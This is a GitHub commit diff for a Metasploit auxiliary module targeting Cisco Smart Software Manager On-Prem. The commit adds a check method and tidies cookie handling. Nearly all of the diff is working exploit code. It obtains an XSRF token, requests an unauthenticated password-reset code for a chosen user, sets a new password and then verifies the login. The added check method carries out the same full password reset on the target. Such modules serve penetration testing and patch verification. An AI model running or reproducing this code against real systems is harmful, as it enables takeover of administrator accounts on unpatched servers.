Skip to content

Commit 05f591d

Browse files
committed
Cleanup and check method added
Cleanup and check method added
1 parent 9690f01 commit 05f591d

File tree

1 file changed

+93
-55
lines changed

1 file changed

+93
-55
lines changed

modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb

Lines changed: 93 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
class MetasploitModule < Msf::Auxiliary
22
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
34

45
def initialize(info = {})
56
super(
@@ -39,6 +40,85 @@ def initialize(info = {})
3940
])
4041
end
4142

43+
def check
44+
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
45+
res = send_request_cgi(
46+
'method' => 'GET',
47+
'keep_cookies' => true,
48+
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
49+
'vars_get' => {
50+
'hostname' => Rex::Text.rand_text_alpha(6..10)
51+
}
52+
)
53+
54+
fail_with(Failure::UnexpectedReply, 'Failed to get a 200 response from the server.') unless res&.code == 200
55+
print_good('Server reachable.')
56+
57+
xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]
58+
fail_with(Failure::UnexpectedReply, 'XSRF Token not found') unless xsrf_token_value
59+
60+
decoded_xsrf_token = decode_url(xsrf_token_value)
61+
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
62+
63+
# 2) Request generate_code to retrieve auth_token
64+
payload = {
65+
uid: datastore['USER']
66+
}.to_json
67+
68+
res = send_request_cgi({
69+
'method' => 'POST',
70+
'ctype' => 'application/json',
71+
'keep_cookies' => true,
72+
'headers' => {
73+
'X-Xsrf-Token' => decoded_xsrf_token
74+
},
75+
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
76+
'data' => payload
77+
})
78+
79+
fail_with(Failure::UnexpectedReply, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response') unless res&.code == 200
80+
81+
json = res.get_json_document
82+
if json.key?('error_message')
83+
fail_with(Failure::UnexpectedReply, json['error_message'])
84+
elsif json.key?('auth_token')
85+
print_good('Retrieved auth_token: ' + json['auth_token'])
86+
end
87+
88+
auth_token = json['auth_token']
89+
90+
# 3) Request reset_password to change the password of the specified user
91+
payload = {
92+
uid: datastore['USER'],
93+
auth_token: auth_token,
94+
password: datastore['NEW_PASSWORD'],
95+
password_confirmation: datastore['NEW_PASSWORD'],
96+
common_name: ''
97+
}.to_json
98+
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'ctype' => 'application/json',
102+
'keep_cookies' => true,
103+
'headers' => {
104+
'X-Xsrf-Token' => decoded_xsrf_token
105+
},
106+
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
107+
'data' => payload
108+
})
109+
110+
fail_with(Failure::UnexpectedReply, 'Password reset attempt failed') unless res&.code == 200
111+
112+
json = res.get_json_document
113+
if json.key?('error')
114+
return Exploit::CheckCode::Safe
115+
elsif json.key?('status')
116+
return Exploit::CheckCode::Appears
117+
end
118+
119+
Exploit::CheckCode::Unknown
120+
end
121+
42122
def decode_url(encoded_string)
43123
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
44124
[::Regexp.last_match(1).to_i(16)].pack('C')
@@ -49,52 +129,23 @@ def run
49129
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
50130
res = send_request_cgi(
51131
'method' => 'GET',
132+
'keep_cookies' => true,
52133
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
53134
'vars_get' => {
54135
'hostname' => Rex::Text.rand_text_alpha(6..10)
55136
}
56137
)
57138

58-
unless res
59-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
60-
end
61-
unless res.code == 200
62-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
63-
end
139+
fail_with(Failure::UnexpectedReply, 'Failed to get a 200 response from the server.') unless res&.code == 200
64140
print_good('Server reachable.')
65141

66142
# Extract XSRF-TOKEN value
67-
raw_res = res.to_s
68-
xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
69-
xsrf_token = xsrf_token_regex.match(raw_res)
70-
71-
unless xsrf_token
72-
fail_with(Failure::UnexpectedReply, 'XSRF Token not found')
73-
end
74-
75-
xsrf_token_value = xsrf_token[1]
76-
unless xsrf_token_value && !xsrf_token_value.empty?
77-
fail_with(Failure::UnexpectedReply, 'XSRF Token value is null or empty.')
78-
end
143+
xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]
144+
fail_with(Failure::UnexpectedReply, 'XSRF Token not found') unless xsrf_token_value
79145

80146
decoded_xsrf_token = decode_url(xsrf_token_value)
81147
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
82148

83-
# Extract _lic_engine_session value
84-
lic_token_regex = /_lic_engine_session=([^;]*)/
85-
lic_token = lic_token_regex.match(raw_res)
86-
87-
unless lic_token
88-
fail_with(Failure::UnexpectedReply, '_lic_engine_session not found')
89-
end
90-
91-
lic_token_value = lic_token[1]
92-
unless lic_token_value && !lic_token_value.empty?
93-
fail_with(Failure::UnexpectedReply, '_lic_engine_session value is null or empty.')
94-
end
95-
96-
print_good("Retrieved _lic_engine_session: #{lic_token_value}")
97-
98149
# 2) Request generate_code to retrieve auth_token
99150
payload = {
100151
uid: datastore['USER']
@@ -103,20 +154,15 @@ def run
103154
res = send_request_cgi({
104155
'method' => 'POST',
105156
'ctype' => 'application/json',
157+
'keep_cookies' => true,
106158
'headers' => {
107-
'X-Xsrf-Token' => decoded_xsrf_token,
108-
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
159+
'X-Xsrf-Token' => decoded_xsrf_token
109160
},
110161
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
111162
'data' => payload
112163
})
113164

114-
unless res
115-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
116-
end
117-
unless res.code == 200
118-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
119-
end
165+
fail_with(Failure::UnexpectedReply, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response') unless res&.code == 200
120166

121167
json = res.get_json_document
122168
if json.key?('error_message')
@@ -139,21 +185,15 @@ def run
139185
res = send_request_cgi({
140186
'method' => 'POST',
141187
'ctype' => 'application/json',
188+
'keep_cookies' => true,
142189
'headers' => {
143-
'X-Xsrf-Token' => decoded_xsrf_token,
144-
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
190+
'X-Xsrf-Token' => decoded_xsrf_token
145191
},
146192
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
147193
'data' => payload
148194
})
149195

150-
unless res
151-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
152-
end
153-
154-
unless res.code == 200
155-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
156-
end
196+
fail_with(Failure::UnexpectedReply, 'Password reset attempt failed') unless res&.code == 200
157197

158198
json = res.get_json_document
159199
if json.key?('error_message')
@@ -169,18 +209,16 @@ def run
169209
res = send_request_cgi({
170210
'method' => 'POST',
171211
'ctype' => 'application/json',
212+
'keep_cookies' => true,
172213
'headers' => {
173214
'X-Xsrf-Token' => decoded_xsrf_token,
174-
'Accept' => 'application/json',
175-
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
215+
'Accept' => 'application/json'
176216
},
177217
'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),
178218
'data' => payload
179219
})
180220

181-
unless res.code == 200
182-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
183-
end
221+
fail_with(Failure::UnexpectedReply, 'Failed to verify authentication with the new password was successful.') unless res&.code == 200
184222

185223
json = res.get_json_document
186224
unless json.key?('uid') && json['uid'] == datastore['USER']

0 commit comments

Comments
 (0)